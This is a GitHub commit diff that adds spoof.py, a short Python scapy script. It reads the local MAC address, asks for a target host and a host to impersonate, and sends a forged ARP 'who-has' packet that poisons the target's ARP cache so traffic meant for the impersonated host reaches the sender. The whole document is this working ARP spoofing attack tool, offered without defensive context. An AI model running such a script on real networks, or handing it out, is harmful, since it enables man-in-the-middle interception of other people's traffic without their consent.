Update spoof.py

This commit is contained in:
Nikolaos Kamarinakis 2016-12-11 16:42:34 +02:00 committed by GitHub
parent cafa691850
commit 10f3d4d99b
1 changed files with 23 additions and 0 deletions

View File

@ -1 +1,24 @@
import scapy
from scapy.all import *
# GET MAC ADDRESS
def get_mac_address():
my_macs = [get_if_hwaddr(i) for i in get_if_list()]
for mac in my_macs:
if(mac != "00:00:00:00:00:00"):
return mac
my_mac = get_mac_address()
if not my_mac:
print "Cant get local mac address, quitting"
sys.exit(1)
# REQUEST Host_Target & Host_Impersonation
target = raw_input("Enter host target: ")
impersonation = raw_input("Enter host to impersonate: ")
# CRAFT & SEND PACKET
packet = Ether()/ARP(op="who-has", hwsrc=my_mac, psrc=impersonation, pdst=target)
sendp(packet)